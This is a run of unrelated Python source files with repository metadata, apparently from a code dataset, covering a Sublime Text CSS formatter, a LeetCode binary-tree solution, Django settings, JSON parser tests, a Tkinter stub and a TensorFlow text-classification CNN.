self.tailingComments = []
self.indentCount = indentCount
self.rules = []
self.styles = []
self.firstline = firstline.strip()
self.processLines(lines)
def verticalAlignStyles(self) :
farthestPos = -1
for style in self.styles:
cp = style.getColonPosition()
if(cp > farthestPos):
farthestPos = cp
for style in self.styles:
style.verticalAlign(farthestPos)
return
def extractRule(self, firstline, lines, comments):
ruleCode = []
braceCount = 1
if(firstline.find('}') == -1):
while len(lines) > 0:
line = lines[0]
if '{' in line:
braceCount += 1
if '}' in line:
braceCount -= 1
ruleCode.append(line)
lines.pop(0)
if braceCount == 0:
break
self.rules.append(CssRule(firstline, ruleCode, comments, self.indentCount + 1))
return lines
def processLines(self, lines):
commentSlush = []
inComment = False
#loop through each line, determine if its a style, rule, or comment
while len(lines) > 0:
line = lines.pop(0)
#comments
if(inComment and line.find('*/') > -1):
commentSlush.append(line)
inComment = False
elif(inComment):
commentSlush.append(line)
elif(line.strip().startswith('//') or (line.find('/*') > -1 and line.find('*/') > -1)): #single line comments
commentSlush.append(line)
elif( line.find('/*') > -1):
commentSlush.append(line)
inComment = True
#Blank lines
elif(not line or line.strip() == '}'):
continue
elif('{' in line):
lines = self.extractRule(line, lines, commentSlush)
commentSlush = []
else:
self.styles.append(CssStyle(line.strip(), commentSlush))
commentSlush = []
self.tailingComments = commentSlush
return
def output(self):
result = []
if(settings.get("vertically_align_selector_property_values")):
self.verticalAlignStyles()
spaceStyles = settings.get('add_space_between_categories')
minStyles = settings.get('min_styles_to_collaspe')
#Output Styles
if(len(self.styles)):
formattedStyles = []
categories = settings.get('categories', {})
for category in categories:
filtered = [style for style in self.styles if style.category == category["name"]]
sort = sorted(filtered, key=lambda style:style.sortOrder)
if(len(sort)):
formattedStyles.append(flatten([style.output(self.indentCount + 1) for style in sort]))
if(spaceStyles and minStyles <= len(self.styles)):
result.append(flatten(formattedStyles, ''))
else:
result.append(flatten(formattedStyles))
#Output Rules
if(len(self.rules)):
if(spaceStyles and minStyles <= len(self.rules)):
result.append(flatten([rule.output() for rule in self.rules], ''))
else:
result.append(flatten([rule.output() for rule in self.rules]))
if(spaceStyles and minStyles <= len(self.styles) + len(self.rules)):
result = flatten(result,'')
else:
result = flatten(result)
#Output comments and firstline
result = self.leadingComments + [self.indentCount * indentChar() + self.firstline] + result + self.tailingComments
#Output closing brace
if(self.firstline.find('}') == -1):
result.append(self.indentCount * indentChar() + '}')
return result
class CleanCssCommand(sublime_plugin.TextCommand):
def run(self, edit):
self.edit = edit
global settings
settings = sublime.load_settings(SETTINGS_FILE)
#Get all lines in file
region = sublime.Region(0, self.view.size())
lines = list(map(lambda lineRegion: self.view.substr(lineRegion), self.view.lines(region)))
result = CssRule('', lines, [], -1).output()
result.pop()
self.view.replace(self.edit, region, '\n'.join(result))
return
|
[
"scott.tolksdorf@gmail.com"
] |
scott.tolksdorf@gmail.com
|
26aded6e7f22ab5080e99b0e2e42fc3d16d9833e
|
3791647f9a0e8d3ff5113c4da887f8db1923c41c
|
/program.py
|
9fee99a5464cd8101f818b4541caf92fd6af4916
|
[
"MIT"
] |
permissive
|
Varda-star/KIRO-test
|
c36159f1bef69026c998d89dd4862f8504cf4aa0
|
15607c1fd2cf88559999c5e458d54ade8caf2775
|
refs/heads/main
| 2023-04-23T05:33:46.117825
| 2021-05-06T14:38:40
| 2021-05-06T14:38:40
| 363,720,785
| 0
| 0
|
MIT
| 2021-05-02T18:38:36
| 2021-05-02T18:21:50
|
Python
|
UTF-8
|
Python
| false
| false
| 1,192
|
py
|
class Reseau(object):
def __init__(self, list_nodes, distribution):
assert len(list_nodes)<=30
assert df_nodes.iloc[distribution, 2]=="distribution"
self.list_nodes=list_nodes
self.distribution= distribution
def add_chain(self,position, node):
if len(self.list_nodes)<30:
self.list_nodes.insert(position, node)
def remove_chain(self, position ):
if self.list_nodes!=[]:
self.list_nodes.pop(position)
def add_terminal(self, position1, position2, ant):
n=len(self.list_nodes[position1])
if n<5:
self.list_nodes[position1].insert(position2,ant )
def remove_terminal(self,position1, position2):
n=len(self.list_nodes[position1])
if n>1:
self.list_nodes[position1].pop(position2)
def show(self):
l=[]
n=len(self.list_nodes)
for i in range (0, n):
m=len(self.list_nodes[i])
for j in range(0,m):
l.append ( self.list_nodes[i][j])
return l
m=Reseau([[1,3],[5],[2,6,4]],7)
|
[
"karel.al-daccache@ensta-paris.fr"
] |
karel.al-daccache@ensta-paris.fr
|
186f01e276d46f067e8ccb38cfe9b1e09aabd9f7
|
3c8aaef535328f7c4d812cf086a637b27d891752
|
/interview/pinterest/phone/LC298. Binary Tree Longest Consecutive Sequence.py
|
c51973eb52f88e73861fa9cf04311db3ff3260f8
|
[] |
no_license
|
zhangshv123/superjump
|
9339cd7f5e75d8a94be60d44c752267cc38183d3
|
7de5f69e6e44ca4e74d75fed2af390b3d2cbd2b9
|
refs/heads/master
| 2020-03-20T20:36:34.378950
| 2019-03-08T04:37:22
| 2019-03-08T04:37:22
| 137,696,605
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 997
|
py
|
写程序前先写好数学公式，搞清楚DFS的定义！
local = max(left+1(如果连上), right+1(如果连上),1)
global = max(local, globalLeft, globalRight)
class Solution(object):
def longestConsecutive(self, root):
res = self.dfs(root)
return res[1]
def dfs(self, root):
if not root:
return 0,0
if not root.left and not root.right:
return 1,1
# left代表包含left node 的longestConsecutive 长度(local 变量)，gLeft代表root左边的全局longestConsecutive(全局变量)
left, gLeft = self.dfs(root.left)
right, gRight = self.dfs(root.right)
# local,global是整个题目的变量
local = 1
if root.left and root.val + 1 == root.left.val:
local = max(local, left + 1)
if root.right and root.val + 1 == root.right.val:
local = max(local, right + 1)
return local, max(local, gLeft, gRight)
follow up:
longest increasing sequence in the binary tree
只需要把第25行和28行都改成 > 就好了，其他不变
|
[
"zhangshuhan@gmail.com"
] |
zhangshuhan@gmail.com
|
1cff5f088a90f4b42b2e8a062bd122660102fd44
|
bcbb518ebc8ac2f564ce21d7088e8b073f303f29
|
/matstat/Lib/site-packages/gradient_utils/multi_node.py
|
5ad4ff5741deb446dddf75166358b77b9c33f5ac
|
[] |
no_license
|
Artemon28/PrymatLab2
|
97e206fd907937c04db0ab5322862701bff25bba
|
1f5b3aef8d6ddf28dd41d28fd66e7e726f4007d0
|
refs/heads/master
| 2023-06-08T15:01:06.442587
| 2021-06-25T10:44:30
| 2021-06-25T10:44:30
| 380,145,425
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 644
|
py
|
import json
import os
from gradient_utils.exceptions import ConfigError
from gradient_utils.utils import _get_paperspace_tf_config
def get_tf_config():
"""
Function to prepare TensorFlow config and set os env with proper configuration
:raise: ConfigError when there is no configuration for TensorFlow to set as os env
"""
tf_config = _get_paperspace_tf_config()
if tf_config:
os.environ['TF_CONFIG'] = json.dumps(tf_config)
else:
raise ConfigError(
component="TF Config",
message="Something went wrong. For some reason there is no configuration for TensorFlow."
)
|
[
"los28.2001@mail.ru"
] |
los28.2001@mail.ru
|
9ee73a66e5c695fbd6d138dfbb950756b81519dc
|
c72ed161c76f84a3e19e96f58eac0172a90930c2
|
/test_backends_yajl2.py
|
f213bef4777469da2a80e8021888b34229463cd1
|
[
"BSD-3-Clause"
] |
permissive
|
sakurahilljp/enumjson
|
e245534c987b8d809852b87fe628961ace0fff59
|
3d0107fc898ea864179b0ac70043c7c5d5a6f511
|
refs/heads/master
| 2020-04-01T18:16:07.779416
| 2018-10-18T02:07:27
| 2018-10-18T02:07:27
| 153,482,007
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 872
|
py
|
import unittest
from io import BytesIO, StringIO
from enumjson.backends.yajl2 import basic_parse
from enumjson.common import parse
JSON = b'''
{
"docs": [
{
"null": null,
"boolean": false,
"true": true,
"false": false,
"integer": 0,
"double": 0.5,
"exponent": 1.0e+2,
"long": 10000000000,
"string": "\\u0441\\u0442\\u0440\\u043e\\u043a\\u0430 - \xd1\x82\xd0\xb5\xd1\x81\xd1\x82"
},
{
"meta": [[1], {}]
},
{
"meta": {"key": "value"}
},
{
"meta": null
}
]
}
'''
class TestYajl2Bakend(unittest.TestCase):
def test_basic_parse(self):
for item in basic_parse(BytesIO(JSON)):
print(item)
def test_parse(self):
for item in parse(basic_parse(BytesIO(JSON))):
print(item)
if __name__ == "__main__":
unittest.main()
|
[
"sakurahilljp@gmail.com"
] |
sakurahilljp@gmail.com
|
baf79a3c208c552b17a1cadce94c36092413fef5
|
1258bb731d9a87fbe70cea29a1398d337c7a6165
|
/host/tests.py
|
ce7f7e0e09add1b5c3cb73cddb0636699d75ea40
|
[] |
no_license
|
yiluxiangdong/HostManager_v2
|
8967a1ff459995f7565c1fb93acdd4b39af87bfe
|
cca95259549ca05eba5938baf00085e33a46e581
|
refs/heads/master
| 2020-03-22T11:21:01.641281
| 2018-07-06T09:46:19
| 2018-07-06T09:46:19
| 139,965,354
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 225
|
py
|
<<<<<<< HEAD
from django.test import TestCase
# Create your tests here.
=======
# -*- coding: utf-8 -*-
from django.test import TestCase
# Create your tests here.
>>>>>>> 自动化测试脚本2018/07/06 17:38:42 更新
|
[
"2437375168@qq.com"
] |
2437375168@qq.com
|
8da684baf848f23d4ad28aeefc1091d074270ae0
|
629e7e5c24808ba8fb1cee2bd9567fb4749d8076
|
/tests/collector/test_response_getter.py
|
3e344c7dfb948b6e94800531262763d76846a6c0
|
[
"MIT"
] |
permissive
|
katmratliff/psi-collect
|
ebab7245ccf8633d0b7524d44f2e2e21d1e30f21
|
7a553ea03b1120a54e33006907ab853f2a816f29
|
refs/heads/master
| 2021-01-06T18:50:18.443460
| 2020-02-20T22:58:16
| 2020-02-20T22:58:16
| 241,447,732
| 0
| 0
|
MIT
| 2020-02-18T19:23:31
| 2020-02-18T19:23:31
| null |
UTF-8
|
Python
| false
| false
| 979
|
py
|
from unittest import TestCase
import requests
from psicollect.collector.response_getter import get_http_response, get_full_content_length
class TestResponseGetter(TestCase):
def test_generic_response_success(self):
self.assertEqual(requests.codes.ok, get_http_response('https://www.google.com/').status_code)
def test_generic_response_failed(self):
with self.assertRaises(ConnectionError):
get_http_response('http://www.google.com/thispagedoesnotexist')
def test_generic_response_exception(self):
with self.assertRaises(ConnectionError):
get_http_response('http:///')
def test_get_full_content_length_correct(self):
self.assertEqual(11397775360, get_full_content_length(
'https://ngsstormviewer.blob.core.windows.net/downloads/20180915a_jpgs.tar'))
def test_get_full_content_length_empty(self):
self.assertEqual(0, get_full_content_length('https://httpbin.org/status/404'))
|
[
"noreply@github.com"
] |
noreply@github.com
|
e29113fa1118db2448fd80c7d463f4cae5c86ee7
|
6b17f15654b953e4b267cb72d7d77c4fe1c7cede
|
/mysite/settings.py
|
848b1293e7308848e5636384e5c300166ac97c31
|
[] |
no_license
|
DenimY/mysite
|
a41e159852965319ae9fb39dc3ee06c0fafd2ca3
|
d97c08316773e60ec353feb57e72677b30ea4e5a
|
refs/heads/master
| 2021-07-08T14:37:37.641014
| 2020-09-01T11:19:20
| 2020-09-01T11:19:20
| 185,014,312
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,826
|
py
|
"""
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 2.1.5.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'ecrcof7xo=n1o^j%#nn(5p_l&pztzi^4t+vz2kjc!4x-x%b5lq'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'bookmark.apps.BookmarkConfig',
'blog.apps.BlogConfig',
'testStartApp.apps.TeststartappConfig',
'tagging.apps.TaggingConfig',
'disqus',
'django.contrib.sites',
'photo.apps.PhotoConfig',
]
DISQUS_WEBSITE_SHORTNAME = 'python-web-programming-0nz2zuiq33'
SITE_ID = 1
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysite.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysite.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
# LANGUAGE_CODE = 'ko-kr'
# TIME_ZONE = 'UTC'
TIME_ZONE = 'Asia/Seoul'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static')] # /home/shkim/pyDjango/mysite/static
# PHOTO
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
# login, logout url은 예제에서 사용하는 url과 동일하므로 지정하지 않아도 된다
# LOGIN_URL = '/accounts/login/'
# LOGOUT_URL = '/accounts/logout/'
LOGIN_REDIRECT_URL = '/'
|
[
"ykm3976@gmail.com"
] |
ykm3976@gmail.com
|
918e58a68fb694ef5432f883db2395f22089eed0
|
67596a2964cc29c48ca73dd100360a8c80683f64
|
/HighVoltageSystem.py
|
2896278059da389fec460ea7ce88ef87a9cc25c2
|
[] |
no_license
|
alfab3/HVSFinal
|
1ada84831165c8b1c0e8a2a75db0fae2dabe314d
|
25280a2d5fc95351994c2a5440a81f0dd53f63ca
|
refs/heads/master
| 2022-11-20T05:22:30.956249
| 2020-07-21T15:21:34
| 2020-07-21T15:21:34
| 277,906,087
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 888
|
py
|
#Main File for High Voltage System
#Written by Albert Fabrizi
#Version 0.1
#Date: July 10, 2020
from Tkinter import *
import Tkinter as tk
import time
import random
mainWindow = Tk()
class Window(Frame):
def __init__(self, master = None):
Frame.__init__(self,master)
self.master = master
self.init_window()#main window and menu bar
self.main_widgets()#objects that inhabit the main page
def init_window(self):
self.master.title('High Voltage System')
#cascade menus
menu = Menu(mainWindow)
mainWindow.config(menu = menu)
#file cascade menu
file_C = Menu(menu)
file_C.add_command(label='Exit', command = self.close_window)
menu.add_cascade(label='File', menu=file_C)
def main_widgets(self):
Label(mainWindow, text = 'Enter Desired Voltage: ').grid(row = 0)
|
[
"alfabrizi3@gmail.com"
] |
alfabrizi3@gmail.com
|
b91e209c55f1b855d67292bed49e2b3c750cd22a
|
40298fa8620011276a2d77d8af430c5d5fcf7dee
|
/app/migrations/0005_auto_20160614_0912.py
|
11904163fd293be24ba411e06137e44a2cefd61c
|
[] |
no_license
|
DhawalRank-zz/LibApp
|
5df0e734114f874bef9adf5d8aaf0bfa7484cb9a
|
db0711e3accb5b0209fb93f73803c23c3b713a7e
|
refs/heads/master
| 2021-09-26T17:44:49.839768
| 2016-06-29T18:29:12
| 2016-06-29T18:29:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,113
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-06-14 13:12
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0004_auto_20160611_1448'),
]
operations = [
migrations.CreateModel(
name='Suggestion',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('pubyr', models.IntegerField(blank=True, null=True)),
('type', models.IntegerField(choices=[(1, 'Book'), (2, 'DVD'), (3, 'Other')], default=1)),
('cost', models.IntegerField()),
('num_interested', models.IntegerField()),
('comments', models.TextField()),
],
),
migrations.AlterField(
model_name='libitem',
name='date_acquired',
field=models.DateField(default=datetime.date(2016, 6, 14)),
),
]
|
[
"sojitradhawal@gmail.com"
] |
sojitradhawal@gmail.com
|
92e19f3c4c8b958450ad5aac7c133ded63b1438d
|
606ac3c56762768b4a971f9db8ed09becfcf7d9b
|
/base_page.py
|
487c53da854f4b0c5ba4f34308e5560a1a01d5d5
|
[] |
no_license
|
Usergaser/pageobjectmodel
|
fc816b615b01042ca04a553e01bcaadc4f67c784
|
1cf20826ffc5c214fd49001508b736352edf2bf7
|
refs/heads/master
| 2020-08-23T21:31:57.698600
| 2019-10-26T02:52:33
| 2019-10-26T02:52:33
| 216,709,583
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 178
|
py
|
class BasePage():
def __init__(self, browser, url):
self.browser = browser
self.url = url
def open(self):
self.driver.get(self.url)
|
[
"noreply@github.com"
] |
noreply@github.com
|
0250cd48d5a986100a714a8df43942c520fec8de
|
b95798134de0a45d1b3ac457bb390eb0eecc6b92
|
/Exercicios-CursoEmVideo/ex028.py
|
c4c3db3b851632e02255b1e0fd13ab72d128b743
|
[
"MIT"
] |
permissive
|
guilhermeerosa/Python
|
2a807d79bead4793f7d4007f540c2cfb6c41b015
|
bf15b2abc952e3792d058ae72c157709e113b651
|
refs/heads/master
| 2021-05-21T18:20:04.953856
| 2020-04-15T01:39:24
| 2020-04-15T01:39:24
| 252,750,645
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 563
|
py
|
#Jogo de tentar adivinhar
from random import randint
from time import sleep
#Cabeçalho
print('-=-'*19)
print('Vou pensar em um numero entre 0 e 5. Tente adivinhar...')
print('-=-'*19)
#Escolha do jogador
escolha = int(input('Escolha um numero: '))
print('PROCESSANDO...')
sleep(2)
#Escolha do computador
comp = randint(0,5)
#Apresentação
print('Você escolheu o numero {}.'.format(escolha))
print('Eu escolhi o numero {}'.format(comp))
#Ganhou ou perdeu
if escolha == comp:
print('Parabéns, você ganhou!')
else:
print('Que pena, você perdeu!')
|
[
"59878498+guilhermeerosa@users.noreply.github.com"
] |
59878498+guilhermeerosa@users.noreply.github.com
|
21ca3a9c270ac746eb64f80c7defd90327f22ee7
|
e64faca512ba58d84c9e10491c1c0ede23bf98d2
|
/tools/tg.py
|
896965f36ea9f3e2b456477bd415057302ef903f
|
[] |
no_license
|
PooryaSharifi/V
|
2142164bf7cbebbc906931a1b96a64f2f44ff06e
|
1ef7f73601a6a301d3410ed63f724492882b7ea3
|
refs/heads/master
| 2022-04-26T22:07:06.015500
| 2020-04-20T04:57:16
| 2020-04-20T04:57:16
| 256,737,124
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 338
|
py
|
from pytg.sender import Sender
from pytg.receiver import Receiver
import json
receiver = Receiver(host="localhost", port=4458)
sender = Sender(host="localhost", port=4458)
name = sender.contact_add("+989133657623", "+989133657623", "")[0]['print_name']
print(sender.send_msg(name, "hi h hi"))
print(sender.send_location(name, 31., 53.))
|
[
"noreply@github.com"
] |
noreply@github.com
|
1a5046a46a930cf9d22cbf17a710bc92cb6c3580
|
20035d7de00f51adbfd43b6c08ecc4f651f45ab4
|
/backend/services/text_similarity/api/controllers/controller.py
|
4fd4910e225871c2e9b9f23ab1d58a40ab8f5630
|
[
"MIT"
] |
permissive
|
R-aryan/Text-Similarity-Using-BERT
|
3f40d2deb8b8b73f5428f47be37662251fa0d436
|
edba09c0da2b21d50532facc1237c2e7ffae10bd
|
refs/heads/main
| 2023-08-07T19:50:13.727391
| 2021-09-27T06:06:37
| 2021-09-27T06:06:37
| 409,261,165
| 0
| 0
| null | 2021-09-27T06:06:38
| 2021-09-22T15:38:08
|
Python
|
UTF-8
|
Python
| false
| false
| 938
|
py
|
from flask import Response
from flask_restful import Resource
from backend.common.util.json import ComplexEncoder
from backend.common.util.http_status import HttpStatus
import json
class Controller(Resource):
@staticmethod
def response_ok(data):
return Response(json.dumps(data, cls=ComplexEncoder), status=HttpStatus.ok_200.value, mimetype="application"
"/json")
@staticmethod
def response_error(data):
return Response(json.dumps(data, cls=ComplexEncoder), status=HttpStatus.internal_server_error_500.value,
mimetype="application/json")
@staticmethod
def stream_response_ok(stream):
return Response(stream, mimetype='multipart/x-mixed-replace; boundary=frame')
def map_response(self, msg: str):
return {
'response': msg
}
|
[
"aryan.rritesh@gmail.com"
] |
aryan.rritesh@gmail.com
|
7f8902aaa8480c3436e9e2ae8a4b2939aac4883e
|
587feca15946d0e82a4f31432e0c8bd21c23fcb9
|
/model/cell.py
|
27665baf6e35c38ee9a40c655613b92a5201582f
|
[] |
no_license
|
vanzytay/EMNLP18_DCU
|
1a3d1e680f540e81542c6c2cb9dd32426b8b5320
|
91719d04dd910f1a19e77bb08620dd682d8e8598
|
refs/heads/master
| 2020-03-27T07:00:49.635823
| 2019-05-11T04:00:34
| 2019-05-11T04:00:34
| 146,156,263
| 9
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,958
|
py
|
import tensorflow as tf
class DCU_pooling(tf.nn.rnn_cell.RNNCell):
def __init__(self, out_fmaps, pool_type,
initializer=None, in_dim=None):
self.__pool_type = pool_type
self.__out_fmaps = out_fmaps
if(initializer is None):
# initializer = tf.contrib.layers.xavier_initializer()
initialzier = tf.orthogonal_initializer()
@property
def state_size(self):
return self.__out_fmaps
@property
def output_size(self):
return self.__out_fmaps
def __call__(self, inputs, state, scope=None):
"""
inputs: 2-D tensor of shape [batch_size, feats + [gates]]
"""
pool_type = self.__pool_type
# print('QRNN pooling inputs shape: ', inputs.get_shape())
# print('QRNN pooling state shape: ', state.get_shape())
with tf.variable_scope(scope or "QRNN-{}-pooling".format(pool_type)):
if pool_type == 'f':
# extract Z activations and F gate activations
Z, F = tf.split(inputs, 2, 1)
# return the dynamic average pooling
output = tf.multiply(F, state) + tf.multiply(tf.subtract(1., F), Z)
return output, output
elif pool_type == 'fo':
# extract Z, F gate and O gate
Z, F, O = tf.split(inputs, 3, 1)
new_state = tf.multiply(F, state) + tf.multiply(tf.subtract(1., F), Z)
output = tf.multiply(O, new_state)
return output, new_state
elif pool_type == 'ifo':
# extract Z, I gate, F gate, and O gate
Z, I, F, O = tf.split(inputs, 4, 1)
new_state = tf.multiply(F, state) + tf.multiply(I, Z)
output = tf.multiply(O, new_state)
return output, new_state
else:
raise ValueError('Pool type must be either f, fo or ifo')
|
[
"vanzytay@gmail.com"
] |
vanzytay@gmail.com
|
365f109ecdc7bef348e0afda449d6ff9c1423a44
|
0892937e1ef77f110a05042fa49b9178221590a5
|
/quiz_app/admin.py
|
c54e0446c5f2b40a946d0f3ec5d7d08897fbfaa7
|
[] |
no_license
|
dmswl0311/nh_hackathon_quiz
|
aa2e0cc51db3abe45bdb6aadb96855528a149d63
|
c4fadf6a9249d6e8ad80d553f8c20a848bdfc851
|
refs/heads/master
| 2023-01-29T15:46:22.046038
| 2020-12-13T13:35:46
| 2020-12-13T13:35:46
| 320,609,628
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 128
|
py
|
from django.contrib import admin
from .models import Quiz, OX_Quiz
admin.site.register(Quiz)
admin.site.register(OX_Quiz)
|
[
"dmswl_0311@naver.com"
] |
dmswl_0311@naver.com
|
f09be44d1584b164210550d980f760ed311a1611
|
6c3ff3b5084fd6efde712834e70ece5a8a8d8a41
|
/mycode/cnn_class_fm_static.py
|
8a0c85db09fe4e3cdd3479b9ad02929107a40a3d
|
[] |
no_license
|
shuningfei/sentiment
|
2fd8a2e11c461bebe320fc5897393cb371c874da
|
8742adcff38a14d65f026f5132d85dde89b598fe
|
refs/heads/master
| 2021-04-28T20:50:43.878302
| 2018-02-18T08:25:33
| 2018-02-18T08:25:33
| 121,932,367
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 7,680
|
py
|
import sys
import numpy as np
import tensorflow as tf
from sklearn import cross_validation
from sklearn.cross_validation import KFold
from sklearn import metrics
def accuracy(predictions, labels):
return (100.0 * np.sum(np.argmax(predictions, 1) == np.argmax(labels, 1)) / predictions.shape[0])
class TextCNN(object):
def __init__(self,train_dataset, train_labels, valid_dataset, valid_labels, embeddings, vocabulary, l2_reg_lambda, num_steps, batch_size, num_filters, filter_sizes_1, filter_sizes_2, filter_sizes_3, dropout_keep_prob, lexical, shuffling):
# parameters
vocab_size = len(vocabulary)
sequence_length = train_dataset.shape[1]
train_size = train_dataset.shape[0]
num_classes = 2
filter_sizes = [filter_sizes_1, filter_sizes_2, filter_sizes_3]
num_filters_total = num_filters * len(filter_sizes)
embedding_size = embeddings.shape[1]
embeddings_number = embeddings.shape[0]
graph = tf.Graph()
with graph.as_default():
tf.set_random_seed(10)
#variables and constants
input_x = tf.placeholder(tf.int32, shape = [batch_size, sequence_length])
input_y = tf.placeholder(tf.int32, shape = [batch_size, num_classes])
tf_valid_dataset = tf.constant(valid_dataset)
tf_argmax_dataset = tf.constant(valid_dataset)
reg_coef = tf.placeholder(tf.float32)
l2_loss = tf.constant(0.0)
weights_conv = [tf.Variable(tf.truncated_normal([filter_size, embedding_size, 1, num_filters], stddev = tf.sqrt(2.0 / (filter_size*embedding_size)), seed = filter_size + i*num_filters)) for i, filter_size in enumerate(filter_sizes)]
biases_conv = [tf.Variable(tf.constant(0.01, shape=[num_filters])) for filter_size in filter_sizes]
weight_output = tf.Variable(tf.truncated_normal([num_filters_total, num_classes], stddev = tf.sqrt(2.0 / (num_filters_total+num_classes)), seed = 0))
bias_output = tf.Variable(tf.constant(0.01, shape=[num_classes]))
embeddings_const = tf.placeholder(tf.float32, shape = [embeddings_number, embedding_size])
embedded_chars = tf.nn.embedding_lookup(embeddings_const, input_x)
embedded_chars_expanded = tf.expand_dims(embedded_chars, -1)
embedded_chars_valid = tf.nn.embedding_lookup(embeddings_const, tf_valid_dataset)
embedded_chars_expanded_valid = tf.expand_dims(embedded_chars_valid, -1)
embeddings_tuned_argmax = tf.placeholder(tf.float32, shape = [None, embedding_size])
embedded_chars_argmax = tf.nn.embedding_lookup(embeddings_tuned_argmax, tf_argmax_dataset)
embedded_chars_expanded_argmax = tf.expand_dims(embedded_chars_argmax, -1)
def model(data, dropout_prob):
pooled_outputs = []
#lookup table
for i, filter_size in enumerate(filter_sizes):
#convolution layer with different filter size
conv = tf.nn.conv2d(data, weights_conv[i], strides=[1, 1, 1, 1], padding="VALID")
#non-linearity
h = tf.nn.relu(tf.nn.bias_add(conv, biases_conv[i]))
pooled = tf.nn.max_pool(h, ksize=[1, sequence_length - filter_size + 1, 1, 1], strides=[1, 1, 1, 1], padding='VALID')
pooled_outputs.append(pooled)
h_pool = tf.concat(3, pooled_outputs)
h_pool_flat = tf.reshape(h_pool, [-1, num_filters_total])
h_drop = tf.nn.dropout(h_pool_flat, dropout_prob)
scores = tf.nn.xw_plus_b(h_drop, weight_output, bias_output)
return scores
def model_argmax(data, dropout_prob):
argmaxs = []
maximums = []
pooled_outputs = []
for i, filter_size in enumerate(filter_sizes):
#sizes.append(filter_size)
#convolution layer with different filter size
conv = tf.nn.conv2d(data, weights_conv[i], strides=[1, 1, 1, 1], padding="VALID")
#non-linearity
h = tf.nn.relu(tf.nn.bias_add(conv, biases_conv[i]))
#pooled = tf.nn.max_pool(h, ksize=[1, sequence_length - filter_size + 1, 1, 1], strides=[1, 1, 1, 1], padding='VALID')
#pooled_outputs.append(pooled)
maximum = tf.reduce_max(h,tf.to_int32(1))
maximums.append(maximum)
argmax = tf.argmax(h, tf.to_int32(1))
argmaxs.append(argmax)
return (argmaxs, maximums)
scores = model(embedded_chars_expanded, dropout_keep_prob)
train_prediction = tf.nn.softmax(scores)
losses = tf.nn.softmax_cross_entropy_with_logits(scores, tf.cast(input_y, tf.float32))
for i in range(len(weights_conv)):
l2_loss += tf.nn.l2_loss(weights_conv[i])
l2_loss += tf.nn.l2_loss(weight_output)
loss = tf.reduce_mean(losses) + reg_coef * l2_loss
#global_step = tf.Variable(0)
#learning_rate = tf.train.exponential_decay(1e-4, global_step * batch_size, tf.size(input_x), 0.95, staircase=True)
#optimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss)
global_step = tf.Variable(0, trainable=False)
optimizer = tf.train.AdamOptimizer(1e-4).minimize(loss)
#global_step = tf.Variable(0, trainable=False)
#optimizer = tf.train.GradientDescentOptimizer(1e-4).minimize(loss)
argmaxs, maximums = model_argmax(embedded_chars_expanded_argmax, 1.0)
maximum1 = maximums[0]
